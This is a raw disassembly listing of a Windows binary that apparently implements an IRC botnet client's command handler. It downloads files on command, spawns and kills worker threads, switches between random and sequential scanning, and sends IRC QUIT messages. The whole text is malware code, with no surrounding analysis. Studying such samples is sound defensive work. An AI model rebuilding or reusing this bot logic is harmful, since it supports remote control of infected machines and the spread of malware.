call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8d, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0xc0]
mov rdx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
test r13b, r13b
je 0x140009fd3
mov r14d, edi
lea rcx, [rbp + 0xc0]
test r15b, r15b
mov edx, gethostbyname
setne r14b
add r14d, 2
call sub.VCRUNTIME140.dll_strrchr
mov rcx, rax
xor bl, bl
nop dword [rax]
test rcx, rcx
je 0x140009fc6
mov byte [rcx], 0x78
mov edx, gethostbyname
lea rcx, [rbp + 0xc0]
call sub.VCRUNTIME140.dll_strrchr
inc bl
mov rcx, rax
movsx eax, bl
cmp eax, r14d
jl 0x140009fa0
mov eax, 1
mov dword [rbp + 0x204], eax
jmp 0x140009fd9
mov dword [rbp + 0x204], edi
mov r12d, dword [rsp + 0x64]
mov rbx, qword [rbp + 0x380]
lea rcx, [rbp + 0xd0]
mov r14, qword [rsp + 0x58]
mov r8, rbx
mov r13d, dword [rsp + 0x50]
mov edx, 0x80
mov r15d, dword [rsp + 0x60]
mov qword [rbp + 0x1d0], r14
mov dword [rbp + 0x1fc], r13d
mov dword [rbp + 0x200], r15d
call fcn.14000123f
mov eax, r12d
mov r8, qword [rbp + rax*8 + 0x3a0]
test r8, r8
jne 0x14000a04c
test rsi, rsi
je 0x14000a03c
cmp byte [rsi], 0x23
jne 0x14000a03c
mov r8, rsi
jmp 0x14000a04c
cmp byte [0x14001bd54], 0
je 0x14000a05f
lea r8, [0x14001bd54]
mov edx, 0x80
lea rcx, [rbp + 0x150]
call fcn.14000123f
jmp 0x14000a066
mov byte [rbp + 0x150], 0
movzx ecx, word [rbp + 0x1d8]
lea rax, str.Random
cmp dword [rbp + 0x204], 0
lea r9, str.Sequential
mov r8d, dword [rbp + 0x1f4]
lea rdx, [0x1400174e0]
cmovne r9, rax
mov eax, dword [rbp + 0x1f0]
mov dword [rsp + 0x40], eax
mov eax, dword [rbp + 0x1e0]
mov dword [rsp + 0x38], eax
mov eax, dword [rbp + 0x1dc]
mov dword [rsp + 0x30], eax
lea rax, [rbp + 0xc0]
mov dword [rsp + 0x28], ecx
lea rcx, [rbp + 0x4b0]
mov qword [rsp + 0x20], rax
call fcn.140001393
xor r8d, r8d
lea rcx, [rbp + 0x4b0]
mov edx, 2
call fcn.1400013c0
mov dword [rbp + 0x1e4], eax
lea r9, [rbp + 0xc0]
lea rax, [rsp + 0x70]
xor edx, edx
mov qword [rsp + 0x28], rax
lea r8, [0x140001136]
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [rbp + 0x1e4]
imul rdx, rcx, 0x248
lea rcx, [0x140000000]
mov qword [rdx + rcx + 0x1dd40], rax
test rax, rax
je 0x14000a156
cmp dword [rbp + 0x208], 0
jne 0x14000a172
nop dword [rax + rax]
mov ecx, gethostbyname
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbp + 0x208], 0
je 0x14000a140
jmp 0x14000a172
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [0x140017568]
lea rcx, [rbp + 0x4b0]
call fcn.140001393
test r15d, r15d
jne 0x140007c9f
mov r9d, r13d
lea r8, [rbp + 0x4b0]
mov rdx, rbx
mov rcx, r14
call fcn.14000115e
jmp 0x140007c9f
mov r12d, 0xff
lea rcx, [rbp + 0xc0]
mov r8d, r12d
mov rdx, r15
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov r8d, r12d
lea rcx, [rbp + 0x1c0]
mov rdx, r14
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov rbx, qword [rbp + 0x380]
lea rcx, [rbp + 0x2c0]
mov rsi, qword [rsp + 0x58]
mov rdx, rbx
mov r8d, 0x7f
mov dword [rbp + 0x348], eax
mov qword [rbp + 0x340], rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
lea r8, [rbp + 0xc0]
lea rdx, str.download___s_
lea rcx, [rbp + 0x4b0]
call fcn.140001393
mov r8, rsi
lea rcx, [rbp + 0x4b0]
mov edx, 3
call fcn.1400013c0
mov r14d, dword [rsp + 0x60]
lea r9, [rbp + 0xc0]
mov dword [rbp + 0x34c], eax
lea r8, [0x14000144c]
lea rax, [rsp + 0x70]
mov dword [rbp + 0x350], edi
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], edi
mov dword [rbp + 0x354], r14d
call qword [sym.imp.KERNEL32.dll_CreateThread]
movsxd rcx, dword [rbp + 0x34c]
imul r8, rcx, 0x248
lea rcx, [0x140000000]
mov qword [r8 + rcx + 0x1dd40], rax
test r14d, r14d
jne 0x14000a29d
mov r8, r15
lea rdx, str.downloading__s..._r_n
lea rcx, [rbp + 0x4b0]
call fcn.140001393
mov r9d, dword [rsp + 0x50]
lea r8, [rbp + 0x4b0]
mov rdx, rbx
mov rcx, rsi
call fcn.14000115e
cmp dword [rbp + 0x35c], 1
je 0x14000940b
mov ecx, gethostbyname
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbp + 0x35c], 1
jne 0x14000a2c1
mov eax, dword [rbp + 0xce8]
jmp 0x140007ca4
lea rcx, [0x140017210]
nop word [rax + rax]
movzx eax, byte [rcx + rdi]
inc rdi
cmp al, byte [r15 + rdi - 1]
jne 0x14000a334
cmp rdi, 4
jne 0x14000a2f0
call fcn.1400010d7
lea rcx, [rbp + 0x4b0]
test eax, eax
jle 0x14000a328
mov r8d, eax
lea rdx, str.threads:_Stopped:__d_thread_s_.
call fcn.140001393
jmp 0x140009ddb
lea rdx, str.threads:_No_active_threads_found.
jmp 0x140009dd6
mov r14, qword [rbp + 0x380]
lea edi, [r12 + 1]
mov r13d, dword [rsp + 0x50]
lea rsi, [rbp + 0x370]
lea rsi, [rsi + rdi*8]
lea r15, str.threads:_Failed_to_kill_thread:__s.
nop word [rax + rax]
mov rbx, qword [rsi]
test rbx, rbx
je 0x140007c9f
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, eax
call fcn.140001131
test eax, eax
lea rdx, str.threads:_Killed_thread:__s.
mov r8, rbx
lea rcx, [rbp + 0x4b0]
cmove rdx, r15
call fcn.140001393
cmp dword [rsp + 0x60], 0
jne 0x14000a3b6
mov rcx, qword [rsp + 0x58]
lea r8, [rbp + 0x4b0]
mov r9d, r13d
mov rdx, r14
call fcn.14000115e
inc edi
add rsi, 8
cmp edi, 0x40
jb 0x14000a360
jmp 0x140007c9f
mov rcx, qword [rsp + 0x58]
lea rdx, str.QUIT_:Client_exiting
call fcn.14000100a
mov eax, esi
jmp 0x140007ca4
mov rcx, qword [rsp + 0x58]
lea rdx, str.QUIT_:Reconnecting..
call fcn.14000100a
xor eax, eax
jmp 0x140007ca4